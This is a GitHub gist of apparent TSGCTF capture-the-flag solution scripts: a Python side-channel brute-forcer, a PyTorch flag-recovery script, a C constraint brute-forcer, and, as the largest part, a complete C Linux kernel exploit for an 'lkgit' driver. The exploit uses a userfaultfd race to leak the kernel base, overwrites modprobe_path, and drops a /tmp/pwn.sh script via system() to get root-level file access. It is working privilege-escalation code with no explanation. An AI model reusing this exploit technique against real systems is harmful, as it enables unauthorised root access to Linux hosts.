-
-
Save moratorium08/6f62359389d45cab971dbad562380327 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
binary = "./genesys" | |
def check(arg): | |
print(arg) | |
try: | |
s = subprocess.check_output([binary, arg]) | |
except subprocess.CalledProcessError as e: | |
s = e.output | |
return len([x for x in s.strip(b"\n").split(b"\n") if x == b"correct"]) | |
pad = "A" | |
cur = "" | |
for i in range(32): | |
print(i, cur, len(cur)) | |
for c in range(0x10, 256): | |
s = chr(c) + cur | |
s = pad * (32 - len(s)) + s | |
r = check(s) | |
if r == len(cur) + 1: | |
print(r) | |
cur = chr(c) + cur | |
break | |
elif r != len(cur): | |
raise Exception("broken?") | |
else: | |
raise Exception("broken?") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <assert.h> | |
#include <stdlib.h> | |
#include "lkgit.h" | |
#include <string.h> | |
#include <fcntl.h> | |
#include <sys/ioctl.h> | |
#include <errno.h> | |
#include<sys/mman.h> | |
#include<sys/types.h> | |
#include<linux/userfaultfd.h> | |
#include<pthread.h> | |
#include<signal.h> | |
#include<sys/syscall.h> | |
#include<poll.h> | |
#include<unistd.h> | |
#include<sys/prctl.h> | |
#define ERR_DIE(msg) { printf("[ERROR] %s\n", msg); puts("\n[-] exiting..."); exit(1); } | |
/* | |
*/ | |
#define LPE_PATH "/tmp/pwn.sh" | |
int lkgit_fd = -1; | |
char* hash_to_string(char *hash) { | |
char *hash_str = calloc(HASH_SIZE * 2 + 1, 1); | |
for(int ix = 0; ix != HASH_SIZE; ++ix) { | |
sprintf(hash_str + ix*2, "%02lx", (unsigned long)(unsigned char)hash[ix]); | |
} | |
return hash_str; | |
} | |
char* string_to_hash(char *hash_str) { | |
char *hash = calloc(HASH_SIZE, 1); | |
char buf[3] = {0}; | |
for(int ix = 0; ix != HASH_SIZE; ++ix) { | |
memcpy(buf, &hash_str[ix*2], 2); | |
hash[ix] = (char)strtol(buf, NULL, 16); | |
} | |
return hash; | |
} | |
int pwn_state = 0; | |
void waiting(int target) { | |
unsigned long long cnt = 0; | |
while (pwn_state == target) { | |
if (cnt % 10000000 == 0) printf("%d: waiting..\n", target); | |
cnt++; | |
} | |
} | |
char buf[0x3000]; // userland buffer | |
char *addr_bef = 0x117116000; | |
char *addr = 0x117117000; // memory region supervisored | |
unsigned long len = 0x1000; // memory length | |
int overwrite = 0; | |
char *message; | |
static void* fault_handler_thread(void *arg) | |
{ | |
puts("[+] entered fault_handler_thread"); | |
static struct uffd_msg msg; // data read from userfaultfd | |
struct uffdio_copy uffdio_copy; | |
long uffd = (long)arg; // userfaultfd file descriptor | |
struct pollfd pollfd; // | |
int nready; // number of polled events | |
// set poll information | |
pollfd.fd = uffd; | |
pollfd.events = POLLIN; | |
// wait for poll | |
puts("[+] polling..."); | |
while(poll(&pollfd, 1, -1) > 0){ | |
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) | |
ERR_DIE("poll"); | |
// read an event | |
if(read(uffd, &msg, sizeof(msg)) == 0) | |
ERR_DIE("read"); | |
if(msg.event != UFFD_EVENT_PAGEFAULT) | |
ERR_DIE("unexpected pagefault"); | |
printf("[!] page fault: %p\n",msg.arg.pagefault.address); | |
// Now, another thread is halting. Do my business. | |
puts("[+] paging pagin"); | |
fflush(stdout); | |
// TODO | |
pwn_state = 1; | |
waiting(1); | |
puts("yey"); | |
// forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl | |
if (overwrite) { | |
puts("writing message\n"); | |
memcpy(buf, LPE_PATH, MESSAGE_MAXSZ); | |
} | |
uffdio_copy.src = buf; | |
uffdio_copy.dst = addr; | |
uffdio_copy.len = len; | |
uffdio_copy.mode = 0; | |
if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) | |
ERR_DIE("ioctl-UFFDIO_COPY"); | |
break; | |
} | |
puts("[+] exiting fault_handler_thrd"); | |
} | |
register_userfaultfd_and_halt() | |
{ | |
puts("[+] registering userfaultfd..."); | |
long uffd; // userfaultfd file descriptor | |
pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread | |
struct uffdio_api uffdio_api; | |
struct uffdio_register uffdio_register; | |
int s; | |
// create userfaultfd file descriptor | |
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc | |
if(uffd == -1) | |
ERR_DIE("userfaultfd"); | |
// enable uffd object via ioctl(UFFDIO_API) | |
uffdio_api.api = UFFD_API; | |
uffdio_api.features = 0; | |
if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) | |
ERR_DIE("ioctl-UFFDIO_API"); | |
// mmap | |
puts("[+] mmapping..."); | |
char *tmp2 = addr; | |
addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified . | |
char *tmp= mmap(addr_bef, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly sp. | |
if (tmp != addr_bef) ERR_DIE("mmap"); | |
if (tmp2 != addr) ERR_DIE("mmap"); | |
puts("[+] mmapped..."); | |
if(addr == MAP_FAILED) | |
ERR_DIE("mmap"); | |
// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) | |
uffdio_register.range.start = addr; | |
uffdio_register.range.len = len; | |
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; | |
if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) | |
ERR_DIE("ioctl-UFFDIO_REGISTER"); | |
s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); | |
if(s!=0){ | |
errno = s; | |
ERR_DIE("pthread_create"); | |
} | |
puts("[+] registered userfaultfd"); | |
} | |
char* snap_file(char *content, char *message) { | |
hash_object req = { | |
.content = content, | |
.message = message, | |
}; | |
if(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0) { | |
printf("[ERROR] failed to hash the object.\n"); | |
} | |
printf("snap_file: %s\n", hash_to_string(req.hash)); | |
char *hash = malloc(HASH_SIZE); | |
memcpy(hash, req.hash, HASH_SIZE); | |
return hash; | |
} | |
// get a log of the given hash. | |
int get_log_single(log_object *req, char *hash) { | |
memcpy(req->hash, hash, HASH_SIZE); | |
printf("%p\n", req); | |
printf("%s\n", hash_to_string(req->hash)); | |
printf("%s\n", hash_to_string(hash)); | |
if(ioctl(lkgit_fd, LKGIT_GET_OBJECT, req) != 0) { | |
assert(0); | |
} else { | |
memcpy(hash, req->hash, HASH_SIZE); | |
return 0; | |
} | |
} | |
// amend a commit message of the given hash. | |
void ammend_commit(log_object *req, char *hash, char *new_msg) { | |
memcpy(req->hash, hash, HASH_SIZE); | |
//memcpy(req->message, new_msg, MESSAGE_MAXSZ); | |
if(ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, req) != 0) { | |
assert(0); | |
} | |
memcpy(hash, req->hash, HASH_SIZE); | |
} | |
unsigned long long u64(unsigned char *buf) { | |
unsigned long long ptr = 0; | |
for (int i = 7; i >= 0; i--) { | |
ptr = ptr * 256 + buf[i]; | |
} | |
return ptr; | |
} | |
unsigned char * p64(unsigned long long v) { | |
char *ptr = malloc(8); | |
for (int i = 0; i < 8; i++) { | |
ptr[i] = v % 256; | |
v /= 256; | |
} | |
return ptr; | |
} | |
char *hash; | |
unsigned long long kern_base = 0; | |
void get_log_fun() { | |
puts("uouo"); | |
//printf("%p %s\n", addr, hash_to_string(hash)); | |
get_log_single(addr - HASH_SIZE - FILE_MAXSZ, hash); | |
printf("%s\n", hash_to_string(hash)); | |
puts("nyan..."); | |
kern_base = u64(hash); | |
} | |
void do_amend_fun() { | |
puts("[+] do amend"); | |
void *req = (void*)(addr - HASH_SIZE - FILE_MAXSZ); | |
printf("ammend: %p %s %s\n", req, hash_to_string(hash), message); | |
ammend_commit(req, hash, message); | |
printf("amend hash: %s\n", hash_to_string(hash)); | |
puts("[+] bye amend"); | |
} | |
int main(void) { | |
pthread_t thr; | |
lkgit_fd = open("/dev/lkgit", O_RDWR); | |
if(lkgit_fd < 0) { | |
ERR_DIE("open"); | |
} | |
///// stage 1. leak kern_base ///// | |
hash = snap_file("hogefuga", "nyan"); | |
register_userfaultfd_and_halt(); | |
int s = pthread_create(&thr, NULL, get_log_fun, (void*)NULL); | |
//char *hash = get_log_single(addr, hash); | |
//get_log_fun(); | |
waiting(0); | |
int statfd; | |
puts("nekoneko"); | |
char *hash2 = snap_file("hogefuga", "nyan"); | |
printf("%s\n", hash_to_string(hash2)); | |
for(int ix=0; ix!=0x82; ++ix){ | |
statfd = open("/proc/self/stat", O_RDONLY); | |
assert(statfd > 0); | |
} | |
puts("finished"); | |
pwn_state = 2; | |
pthread_join(thr, NULL); | |
printf("kern_base: %llx\n", kern_base); | |
char victim_message[MESSAGE_MAXSZ]; | |
unsigned long long modprobe_path = 0xa8ef00ull + kern_base; | |
char *kern_addr = p64(modprobe_path); | |
char *dummy = p64(0xdeadbeef); | |
memcpy(victim_message, dummy, 8); | |
memcpy(victim_message+8, dummy, 8); | |
memcpy(victim_message+16, dummy, 8); | |
memcpy(victim_message+24, kern_addr, 8); | |
printf("modprobe_path addr: %llx\n", modprobe_path); | |
///// stage 2. do AAW using amend message ///// | |
overwrite = 1; | |
// another req object for race | |
hash = snap_file("uouo", "UOUO"); | |
addr_bef = 0x117216000; | |
addr = 0x117217000; | |
register_userfaultfd_and_halt(); | |
message = "UOUOUOUOUOU"; | |
s = pthread_create(&thr, NULL, do_amend_fun, (void*)NULL); | |
//s = pthread_create(&thr, NULL, get_log_fun, (void*)NULL); | |
waiting(2); | |
puts("kfree"); | |
// kfree | |
char *hash3 = snap_file("uouo", "nyan"); | |
char *hash4 = snap_file("content", victim_message); | |
close(statfd); // freelist: seq_operations -> victim_req | |
for (int i = 0; i < 10; i++) { | |
hash4 = snap_file("content", victim_message); | |
} | |
puts("created"); | |
pwn_state = 2; | |
puts("nyan"); | |
pthread_join(thr, NULL); | |
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /home/user/flag' > /tmp/pwn.sh; chmod +x /tmp/pwn.sh"); | |
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/neko"); | |
system("chmod +x /tmp/neko"); | |
system("/tmp/neko"); | |
system("cat /home/user/flag"); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import string | |
import torch | |
from torch import nn | |
FLAG_CHARS = string.ascii_letters + string.digits + "{}-" | |
CHARS = "^$" + FLAG_CHARS | |
def sanity_check(text): | |
global FLAG_CHARS | |
assert text[:7] == "TSGCTF{" | |
assert text[-1:] == "}" | |
assert all([t in FLAG_CHARS for t in text]) | |
def embedding(text): | |
global CHARS | |
x = torch.zeros((len(text), len(CHARS))) | |
for i, t in enumerate(text): | |
x[i, CHARS.index(t)] = 1.0 | |
return x | |
class Model(nn.Module): | |
def __init__(self, inpt, hidden): | |
super().__init__() | |
self.cell = nn.RNNCell(inpt, hidden) | |
self.out = nn.Linear(hidden, 1) | |
def forward(self, xs): | |
h = None | |
for x in xs: | |
h = self.cell(x, h) | |
#print(h) | |
return h | |
def inference(model, text): | |
model.eval() | |
with torch.no_grad(): | |
x = embedding("^"+text+"$").unsqueeze(1) | |
y = model(x)[0].sigmoid().cpu().item() | |
return y | |
def evaluate(model, text): | |
model.eval() | |
with torch.no_grad(): | |
x = embedding(text).unsqueeze(1) | |
y = model(x) | |
#print(y) | |
#mport sys | |
#sys.exit(0) | |
return y[0] | |
model = Model(len(CHARS), 520) | |
import os | |
print(torch.__version__) | |
#print(os.path.exists("/contemodel_final.pth")) | |
model.load_state_dict(torch.load("/content/model_final.pth")) | |
finished = False | |
threshold = 100 | |
idx = 0 | |
possible = ["^"] | |
already_reach = set() | |
while len(possible) > 0: | |
next_possible = [] | |
for s in possible: | |
for c in CHARS[1:]: | |
ret = evaluate(model, s+c) | |
ok = False | |
ids = [] | |
for i, x in enumerate(ret): | |
if torch.abs(x + 1) >= 0.1: | |
ok = True | |
ids.append(str(i)) | |
id_ = ','.join(ids) | |
if ok and id_ not in already_reach: | |
tmp = s + c | |
already_reach.add(id_) | |
if c == "$": | |
print(f"found: {tmp}") | |
else: | |
next_possible.append(tmp) | |
print(already_reach) | |
possible = next_possible | |
print(possible) | |
#break | |
idx += 1 | |
if idx > threshold: | |
break |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <bits/stdc++.h> | |
#include<emmintrin.h> | |
using namespace std; | |
typedef long long int i64; | |
int main(void) { | |
unsigned v5 = 0; | |
unsigned v6 = 0; | |
unsigned v7 = 0; | |
unsigned v8 = 0; | |
for (unsigned v5 = 0; v5 < (1uLL << 32) - 1; v5++) { | |
if ( _mm_movemask_epi8( | |
_mm_cmpeq_epi8( | |
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x9569uLL), 8), | |
_mm_slli_si128( (__m128i)(((0x2AF91 * (unsigned __int128)(0x5F50DDCA7B17LL * (unsigned i64)v5)) >> 64) & 0x3FFFF), 8 | |
))) != 0xFFFF | |
|| _mm_movemask_epi8( | |
_mm_cmpeq_epi8( | |
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x26CF2uLL), 8), | |
_mm_slli_si128( | |
(__m128i)(((0x34AB9 * (unsigned __int128)(0x4DC4591DAC8FLL * (unsigned i64)v5)) >> 64) & 0x3FFFF), | |
8))) != 0xFFFF) continue; | |
printf("v5: %u\n", v5); | |
break; | |
} | |
for (unsigned v6 = 0; v6 < (1uLL << 32) - 1; v6++) { | |
if ( _mm_movemask_epi8( | |
_mm_cmpeq_epi8( | |
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x20468uLL), 8), | |
_mm_slli_si128( | |
(__m128i)(((0x36B39 * (unsigned __int128)(0x4AE11552DF1ALL * (unsigned i64)v6)) >> 64) & 0x3FFFF), | |
8))) != 0xFFFF | |
|| _mm_movemask_epi8( | |
_mm_cmpeq_epi8( | |
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x3787AuLL), 8), | |
_mm_slli_si128( | |
(__m128i)(((0x3A2D3 * (unsigned __int128)(0x46680B140EFFLL * (unsigned i64)v6)) >> 64) & 0x3FFFF), | |
8))) != 0xFFFF) continue; | |
printf("v5: %u\n", v6); | |
break; | |
} | |
for (unsigned v7 = 0; v7 < (1uLL << 32) - 1; v7++) { | |
if(0x4D935BBD3E0LL * (unsigned i64)v7 >= 0x4D935BBD3E0LL | |
|| _mm_movemask_epi8( | |
_mm_cmpeq_epi8( | |
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x5563uLL), 8), | |
_mm_slli_si128( | |
(__m128i)(((0x27DF9 * (unsigned __int128)(0x66B9B431B9EDLL * (unsigned i64)v7)) >> 64) & 0x3FFFF), | |
8))) != 0xFFFF) continue; | |
printf("v7: %u\n", v7); | |
break; | |
} | |
for (unsigned v8 = 0; v8 < (1uLL << 32) - 1; v8++) { | |
if(0x1E5D2BE81C5LL * (unsigned i64)(unsigned int)v8 >= 0x1E5D2BE81C5LL | |
|| _mm_movemask_epi8( | |
_mm_cmpeq_epi8( | |
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x133E7uLL), 8), | |
_mm_slli_si128( | |
(__m128i)(((0x3BC65 * (unsigned __int128)(0x448626500938LL * (unsigned i64)(unsigned int)v8)) >> 64) & 0x3FFFF), | |
8))) != 0xFFFF ) continue; | |
printf("v8: %u\n", v8); | |
break; | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment